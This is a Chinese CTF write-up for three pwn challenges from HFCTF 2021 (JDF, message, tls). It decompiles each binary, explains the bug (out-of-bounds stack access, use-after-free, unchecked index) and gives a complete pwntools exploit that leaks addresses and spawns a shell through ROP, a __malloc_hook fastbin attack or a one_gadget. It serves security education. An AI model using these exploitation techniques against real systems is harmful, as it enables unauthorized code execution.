虎符2021线下pwn题解

阅读量338616

|评论1

|

发布时间 : 2021-05-10 16:30:50

 

PWN1——JDF

分析

首先看一下保护和版本

题目为64位程序,保护全开,Libc版本为 2.23

❯ checksec jdt
[*] '/home/n1k0/work/ctf/pwn/race/2021HFCTF/pwn1/jdt'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

打开IDA看一下,这道题乍一看有点像传统的堆表单题,但仔细分析的话发现其实并没有涉及到堆

我们先来看下菜单

题目模拟的是一个卖书软件,功能包括 创建 编辑 输出信息 卖书退出

{
  puts("1.Create Books");
  puts("2.Edit Books");
  puts("3.Show Books");
  puts("4.Sell Books");
  puts("5.Exit");
  return printf("Choice: ");
}

进入函数分析一下这些功能

add

这个函数的作用是创建结构体的实例,并存入数组s

这里需要注意的是数组s位于栈上,且每个元素的小小为 OWORD,即 16字节

该结构体每个实例大小为40字节,变量排布如下:

{
    8B price
    8B flag
    16B name 
    16B author
    32B describtion
}

在本题目中,最多可以创建16个结构体实例

case 1LL:
        for ( i = 0; i <= 15; ++i )
        {
          if ( !*((_QWORD *)&s[5 * i] + 1) )
          {
            idx = i;
            break;
          }
          idx = -1LL;
        }
        if ( idx > 0x10 || *((_QWORD *)&s[5 * idx] + 1) == 1LL )
          error();
        printf("Price?");
        *(_QWORD *)&s[5 * idx] = input();
        printf("Author?");
        read(0, &s[5 * idx + 2], 0x10uLL);
        printf("Book's name?");
        read(0, &s[5 * idx + 1], 0x10uLL);
        printf("Description?");
        read(0, &s[5 * idx + 3], 0x20uLL);
        *((_QWORD *)&s[5 * idx] + 1) = 1LL;
        break;

edit

此函数的功能是编辑结构体实例,但这里存在漏洞

我们在创建实例时只能创建16个,末位编号为 0xf

但在编辑时却能编辑编号为 0x10的实例,这就造成越界写

case 2LL:
        printf("idx?");
        idx = input();
        if ( idx > 0x10 || !*((_QWORD *)&s[5 * idx] + 1) )
          error();
        printf("[1.Edit Price][2.Edit Author][3.Edit Book's Name][4.Edit Description]\nChoice: ");
        v0 = input();
        choice = v0;
        if ( v0 == 2 )
        {
          printf("Author?");
          read(0, &s[5 * idx + 2], 0x10uLL);
        }
        else if ( v0 > 2 )
        {
          if ( v0 == 3 )
          {
            printf("Book's Name?");
            read(0, &s[5 * idx + 1], 0x10uLL);
          }
          else
          {
            if ( v0 != 4 )
              goto LABEL_35;
            printf("Description?");
            read(0, &s[5 * idx + 3], 0x20uLL);
          }
        }
        else
        {
          if ( v0 != 1 )
            goto LABEL_35;
          printf("Price?");
          *(_QWORD *)&s[5 * idx] = input();
        }
        break;

show

edit一样,show功能也存在越界问题,可以输出rbp前后的数据

case 3LL:
        printf("idx?");
        idx = input();
        if ( idx > 0x10 || !*((_QWORD *)&s[5 * idx] + 1) )
          error();
        printf(
          "[%llu]\nPrice: %llu\nAuthor: %s\nBook's Name: %s\nDescription: %s\n",
          idx,
          *(_QWORD *)&s[5 * idx],
          (const char *)&s[5 * idx + 2],
          (const char *)&s[5 * idx + 1],
          (const char *)&s[5 * idx + 3]);
        break;

思路

找到漏洞点后,我们就可以开始构思如何 Get shell

目前的漏洞是越界读和越界写,可以更改 rbp附近包含 返回值在内的数据,但由于程序开启了 PIE保护,因此我们首先要泄露 code_baselibc_base

通过观察 实例16中的数据可以发现,在 price变量的位置遗留有包含 code_base的地址,可以通过 show(16)泄露 code_base

有了 code_base之后,我们就可以利用题目中的 gadget修改返回值来泄露libc地址

最后在获得 libc_base后即可通过 one_gadgetsGet Shell

思路总结

  • 通过 show越界读获得 code_base
  • 通过 edit越界写使用题目中的 pop rdi; retputs函数修改返回值,获得 libc_base
  • 使用 one_gadgets修改返回值, Get shell

详见EXP

EXP

#!/usr/bin/python
#coding=utf-8
#__author__:N1K0_

from pwn import *
import inspect
from sys import argv

def leak(var):
    callers_local_vars = inspect.currentframe().f_back.f_locals.items()
    temp =  [var_name for var_name, var_val in callers_local_vars if var_val is var][0]
    p.info(temp + ': {:#x}'.format(var))

s      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
r      = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
plt     = lambda data               :elf.plt[data]
got     = lambda data               :elf.got[data]
sym     = lambda data               :libc.sym[data]
inf     = lambda data               :success(data)
itr     = lambda                    :p.interactive()

local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
local_libc_32 = '/lib/i386-linux-gnu/libc.so.6'
remote_libc = ''
binary = './jdt'
context.binary = binary
elf = ELF(binary,checksec=False)

p = process(binary)
if len(argv) > 1:
    if argv[1]=='r':
        p = remote('',)
libc = elf.libc
# libc = ELF(remote_libc)

def dbg(cmd=''):
    os.system('tmux set mouse on')
    context.terminal = ['tmux','splitw','-h']
    gdb.attach(p,cmd)
    pause()

# start 
"""
puts("1.Create Books");
puts("2.Edit Books");
puts("3.Show Books");
puts("4.Sell Books");
puts("5.Exit");

struct
    {
    8 price
    8 flag
    16 name 
    16 author
    32 describtion
    }
s : $rbp-0x510
"""
# context.log_level = 'DEBUG'
def add(price,author,name,des):
    sa('Choice: ','1')
    sa('Price?',str(price))
    sa('Author?',author)
    sa('s name?',name)
    sa('Description?',des)
def edit(idx,choice,data):
    sa('Choice: ','2')
    sa('idx?',str(idx))
    sla('[4.Edit Description]\nChoice: ',str(choice))
    sa('?',str(data))
def free(idx):
    sa('Choice: ','4')
    sa('idx?',str(idx))
def show(idx):
    sa('Choice: ','3')
    sa('idx?',str(idx))
def exit():
    sa('Choice: ','5')

comm = 'b *$rebase(0x1090)\n' # show
comm+= 'b *$rebase(0x1129)\n' # exit
comm+= 'b *$rebase(0x11e3)\n' # pop_rdi
comm+= 'b *0x7ffff7a523a0\n'  # system

show(16)
ru('Price: ')
code = int(ru('\n'),10) - 0x8c0
leak(code)
p_rdi_r = code + 0x11e3
edit(16,3,'a'*8+p64(p_rdi_r))
edit(16,2,p64(code+got('puts'))+p64(code+0xa88)) # puts(puts_got)
edit(16,4,p64(code+0x115f)*2) # main

exit()
puts = uu64(ru('\x7f',False)[-6:])
base = puts - 0x6f6a0
leak(base)
leak(puts)
one = [0x45226,0x4527a,0xf0364,0xf1207]
edit(16,3,'a'*8+p64(base+one[0]))
# dbg(comm)
exit()

# end 

itr()

 

PWN2——message

程序分析

题目的核心部分如下:

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rax
  _QWORD *v4; // rbx
  __int64 v5; // rax
  _QWORD *v6; // rbx
  __int64 v7; // rax
  __int64 v8; // rax
  __int64 v9; // rax
  __int64 v10; // rax
  __int64 v11; // rax
  char *time; // r13
  __int64 pho_num; // rbx
  __int64 msg; // r12
  __int64 v15; // rax
  __int64 v16; // rax
  __int64 v17; // rax
  __int64 v18; // rax
  __int64 v19; // rax
  __int64 v20; // rax
  __int64 v21; // rax
  __int64 v22; // rax
  __int64 v23; // rax
  __int64 v24; // rax
  __int64 v25; // rax
  __int64 v26; // rax
  __int64 v27; // rax
  signed int v28; // [rsp+4h] [rbp-3Ch]
  unsigned __int64 idx; // [rsp+8h] [rbp-38h]
  unsigned __int64 size; // [rsp+18h] [rbp-28h]
  __int64 savedregs; // [rsp+40h] [rbp+0h]

  idx = 0LL;
  init_(a1, a2, a3);
  welcome();
  while ( 1 )
  {
    menu();
    input_int();
    switch ( (unsigned __int64)&savedregs )
    {
      case 1uLL:
        v28 = 0;
        break;
      case 2uLL:                                // edit message
        std::operator<<<std::char_traits<char>>(&std::cout, "Please tell me idx:");
        idx = input_int();
        if ( idx <= 4 && message_list[idx] )
        {
          std::operator<<<std::char_traits<char>>(&std::cout, "New Message: ");
          std::istream::getline(
            (std::istream *)&std::cin,
            *((char **)message_list[idx] + 2),
            *(_QWORD *)message_list[idx]);
        }
        else
        {
          v7 = std::operator<<<std::char_traits<char>>(&std::cout, "Wrong idx");
          std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
        }
        continue;
      case 3uLL:                                // edit time
        std::operator<<<std::char_traits<char>>(&std::cout, "Please tell me idx:");
        idx = input_int();
        if ( idx <= 4 && message_list[idx] )
        {
          std::operator<<<std::char_traits<char>>(&std::cout, "New Time: ");
          std::istream::getline((std::istream *)&std::cin, (char *)message_list[idx] + 8, 8LL);
        }
        else
        {
          v8 = std::operator<<<std::char_traits<char>>(&std::cout, "Wrong idx");
          std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
        }
        continue;
      case 4uLL:                                // edit phone number
        std::operator<<<std::char_traits<char>>(&std::cout, "Please tell me idx:");
        idx = input_int();
        if ( idx <= 4 && message_list[idx] )
        {
          std::operator<<<std::char_traits<char>>(&std::cout, "New Phone Number: ");
          std::istream::getline((std::istream *)&std::cin, *((char **)message_list[idx] + 3), 16LL);
        }
        else
        {
          v9 = std::operator<<<std::char_traits<char>>(&std::cout, "Wrong idx");
          std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
        }
        continue;
      case 5uLL:
        std::operator<<<std::char_traits<char>>(&std::cout, "Please tell me idx:");
        idx = input_int();
        if ( idx <= 4 && message_list[idx] )
        {
          free(*((void **)message_list[idx] + 2));
          free(*((void **)message_list[idx] + 3));
          free(message_list[idx]);
          message_list[idx] = 0LL;
        }
        else
        {
          v10 = std::operator<<<std::char_traits<char>>(&std::cout, "Wrong idx");
          std::ostream::operator<<(v10, &std::endl<char,std::char_traits<char>>);
        }
        continue;
      case 6uLL:
        std::operator<<<std::char_traits<char>>(&std::cout, "Please tell me idx:");
        idx = input_int();
        if ( idx <= 4 )
        {
          time = (char *)message_list[idx] + 8;
          pho_num = *((_QWORD *)message_list[idx] + 3);
          msg = *((_QWORD *)message_list[idx] + 2);
          v15 = std::operator<<<std::char_traits<char>>(&std::cout, "[");
          v16 = std::ostream::operator<<(v15, idx);
          v17 = std::operator<<<std::char_traits<char>>(v16, "]");
          v18 = std::ostream::operator<<(v17, &std::endl<char,std::char_traits<char>>);
          v19 = std::operator<<<std::char_traits<char>>(v18, "Message: ");
          v20 = std::operator<<<std::char_traits<char>>(v19, msg);
          v21 = std::ostream::operator<<(v20, &std::endl<char,std::char_traits<char>>);
          v22 = std::operator<<<std::char_traits<char>>(v21, "Phone Number: ");
          v23 = std::operator<<<std::char_traits<char>>(v22, pho_num);
          v24 = std::ostream::operator<<(v23, &std::endl<char,std::char_traits<char>>);
          v25 = std::operator<<<std::char_traits<char>>(v24, "Time: ");
          v11 = std::operator<<<std::char_traits<char>>(v25, time);
        }
        else
        {
          v11 = std::operator<<<std::char_traits<char>>(&std::cout, "Wrong idx");
        }
        std::ostream::operator<<(v11, &std::endl<char,std::char_traits<char>>);
        continue;
      case 7uLL:
        v26 = std::operator<<<std::char_traits<char>>(&std::cout, "Shutdown!");
        std::ostream::operator<<(v26, &std::endl<char,std::char_traits<char>>);
        exit(0);
        return;
      default:
        v27 = std::operator<<<std::char_traits<char>>(&std::cout, "Wrong Command!");
        std::ostream::operator<<(v27, &std::endl<char,std::char_traits<char>>);
        continue;
    }
    while ( 1 )
    {
      if ( v28 > 4 )
        goto LABEL_8;
      if ( !message_list[v28] )
        break;
      idx = -1LL;
      ++v28;
    }
    idx = v28;
LABEL_8:
    if ( idx == -1LL )
    {
      v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Full!");
      std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
    }
    else
    {
      message_list[idx] = malloc(0x20uLL);
      printf("addr: 0x%x\n", (unsigned __int64)message_list[idx] & 0xFFF);
      std::operator<<<std::char_traits<char>>(&std::cout, "Please tell me time: ");
      std::istream::getline((std::istream *)&std::cin, (char *)message_list[idx] + 8, 8LL);
      std::operator<<<std::char_traits<char>>(&std::cout, "Please tell me phone number: ");
      v4 = message_list[idx];
      v4[3] = malloc(0x18uLL);
      std::istream::getline((std::istream *)&std::cin, *((char **)message_list[idx] + 3), 16LL);
      std::operator<<<std::char_traits<char>>(&std::cout, "Please tell me message's size: ");
      size = input_int();
      if ( size > 0x3F && size <= 0x78 )
      {
        v6 = message_list[idx];
        v6[2] = calloc(1uLL, size);
        *(_QWORD *)message_list[idx] = size;
        printf("addr: 0x%x\n", *((_QWORD *)message_list[idx] + 2) & 0xFFFLL);
        std::operator<<<std::char_traits<char>>(&std::cout, "Please tell me message: ");
        std::istream::getline((std::istream *)&std::cin, *((char **)message_list[idx] + 2), size);
      }
      else
      {
        v5 = std::operator<<<std::char_traits<char>>(&std::cout, "You can't use this size!");
        std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
      }
    }
  }
}

题目定义了一个Message结构体,结构如下:

struct message
{
  size_t size;
  char time[8];
  char *message_addr;
  char *phone_number_addr;
};

功能主要分为三大类:

  • 添加Message
    • malloc一个message的结构体并存入list列表
    • 0x3f < size <= 0x78
    • time读入8个字节的内容
    • message_addr存储calloc的chunk的指针,该chunk用于存储message的内容,大小为size
    • phone_number_addr存储malloc的chunk的指针,该chunk用于存储phone_number的内容,大小为0x18
    • 只能同时存在4个message
    • 题目会print出message的chunk和message_addr的chunk的地址后三个字节
  • 修改Message
    • 修改time
    • 修改message
    • 修改phone_number
  • 删除Message
    • free掉message_addr、phone_number_addr和message的指针,并将message的指针置0
  • 打印Message

利用思路

题目的漏洞点在于free的时候并没有将message_addr的指针清零,如果我们在free了一个message之后再add,并且传入的size不在0x3f到0x78间,则可以对free后的message_addr的chunk进行操作,也就是UAF

那么我们可以通过UAF来构造堆块重叠,修改堆块的大小并free来获得一个unsorted bin并泄漏libc,最后修改message中存储的指针地址来进行任意写或使用fastbin attack修改malloc_hook为one_gadget来getshell

EXP

from pwn import *
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']

def cmd(idx):
    r.sendlineafter("Your Choice:",str(idx))

def add(time,phone_number,size,msg):
    cmd(1)
    r.recvuntil("addr: 0x")
    addr = int(r.recvuntil("\n"),16)
    r.sendlineafter("Please tell me time:",time)
    r.sendlineafter("Please tell me phone number:",phone_number)
    r.sendlineafter("Please tell me message's size:",str(size))
    msg_addr = -1
    if size > 0x3F and size <= 0x78:
        r.recvuntil("addr: 0x")
        msg_addr = int(r.recvuntil("\n"),16)
        r.sendlineafter("Please tell me message:",msg)
    return addr,msg_addr

def edit_msg(idx,msg):
    cmd(2)
    r.sendlineafter("Please tell me idx:",str(idx))
    r.sendlineafter("New Message:",msg)

def edit_time(idx,time):
    cmd(3)
    r.sendlineafter("Please tell me idx:",str(idx))
    r.sendlineafter("New Time:",time)

def edit_phone_number(idx,phone_number):
    cmd(4)
    r.sendlineafter("Please tell me idx:",str(idx))
    r.sendlineafter("New Phone Number:",phone_number)  

def free(idx):
    cmd(5)
    r.sendlineafter("Please tell me idx:",str(idx))

def show(idx):
    cmd(6)
    r.sendlineafter("Please tell me idx:",str(idx))

def debug(cmd = ""):
    gdb.attach(r,cmd)

r = process("./Message")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./Message")

addr,msg_addr = add("0","0",0x60,"0") # 0
addr,msg_addr = add("1","1",0x60,"1") # 1
addr,msg_addr = add("\x71","\x71",0x60,"a" * 0x30) # 2
addr,msg_addr = add("3","3",0x60,"\x71" * 9) # 3
free(1)
free(0)

add("0","0",0x10,"0") # 0
show(0)
r.recvuntil("Message: ")
heap_base = u64(r.recvuntil("\n",drop = True).ljust(8,"\x00")) - 0x11d20
success("heap_base : " + hex(heap_base))

payload = "\x71"*0x8 + p64(0x71) + p64(heap_base + 0x11c70)
edit_msg(2,payload)

target_heap = heap_base + 0x11df0
edit_msg(0,p64(target_heap))

addr,msg_addr = add("1","1",0x60,"1") # 1
addr,msg_addr = add("4","4",0x60,"4") # 4

edit_msg(2,"\xb1"*0x9)
free(4)
add("4","4",0x10,"4") # 4
show(4)
r.recvuntil("Message: ")
libc_base = u64(r.recvuntil("\n",drop = True).ljust(8,"\x00")) - 0x3c4b78
success("libc_base : " + hex(libc_base))

malloc_hook = libc_base + libc.sym["__malloc_hook"]
one_gadget = libc_base + 0x4527a

payload = "\x71"*0x8 + p64(0x71) + p64(malloc_hook-0x23)
edit_msg(0,payload)
free(1)
add("1","1",0x50,"1") # 1
free(1)
add("1","1",0x60,"1") # 1
free(2)
free(1)
edit_msg(0,p64(malloc_hook-0x23))
add("1","1",0x60,"1") # 1
add("2","2",0x60,'1'*0xb+p64(one_gadget)*2) # 2
free(1)
cmd(1)

#debug()


r.interactive()

 

PWN3——tls

程序分析

这是一到栈溢出的题。在start_routine中在循环结束后会做如下的操作read(0, &buf, 0x100uLL);,会造成栈溢出。由于程序开启了canary的保护,所以要泄漏canary。

程序会在栈上维护一个__int64 v20[48]; // [rsp+40h] [rbp-1C0h]的数组,同时会有一个数组的长度unsigned __int64 n; // [rsp+20h] [rbp-1E0h],还有和__int64 sum; // [rsp+38h] [rbp-1C8h]。程序的表单总共有四个功能:

  1. 指定一个数组的位置pos
  2. 改变v[pos]中的内容,有且仅有3次机会
  3. 将数组中所有的内容(前n个)加到sum
  4. 退出循环

利用思路

由于未对设置的pos做任何检查所以可以实现在栈上的任意写。由于数组的长度n在栈上,利用任意写可以任意改变n的值。利用求和操作我们可以变相的泄漏栈上的地址。要完成getshell就要拿到canary和libc的地址,在调试程序的过程我们发现在canary-8的位置有一个地址和libc的偏移是固定的。

  1. 将n设置为0x1b8//8,然后求和输出sumt,利用t和libc的固定偏移算出libc。
  2. v[0x1b8//8-1]位置(canary-8)设置为0
  3. 将n设置为0x1c0//8,求和sum,利用canary=sum-tsum是不清空的)

利用最后buf溢出的漏洞改写ret为gadget获得shell。

EXP

from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

local = 1
if local == 1:
    p = process("./tls")
    gads = [0xf1207]
    lb = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else:
    p=remote("",00)
    gads = [0xf1147]
    lb = ELF("libc.so.6")

def ch(idx):
    p.sendlineafter("Your choice: ", '1')
    p.sendlineafter("Please input pos: ", str(idx))


def edit(num):
    p.sendlineafter("Your choice: ", '2')
    p.sendlineafter("Please input new number: ", str(num))

def sm():
    p.sendlineafter("Your choice: ", '3')


def ex():
    p.sendlineafter("Your choice: ", '4')


p.sendlineafter("How many? ", str(0x30))
# pause()
for i in range(0x30):
    p.sendline('0')

ch(-4)
edit(0x1b8//8)

sm()
p.recvuntil("result = ")
t = int(p.recvuntil('\n'))
libc = t + 0x51f900
print("libc:", hex(libc))

gdb.attach(p)

ch(0x1b8//8-1)
edit(0)

ch(-4)
edit(0x1c0//8)

# ch(0x1c0//8-1)
# edit(0)

sm()
p.recvuntil("result = ")
can = int(p.recvuntil('\n'))
if can < 0:
    can = can+(1 << 64)
can-=t
print("can:", hex(can))

# pause()
gdb.attach(p)
ex();

gadget = libc+gads[0]
p.recvuntil("Oh!What is your name? ")
pay=0x38*b'a'+p64(can)+p64(gadget)*2
p.send(pay)

p.interactive()

本文由xKaneiki原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/239604

安全客 - 有思想的安全新媒体

分享到:微信
+14赞
收藏
xKaneiki
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66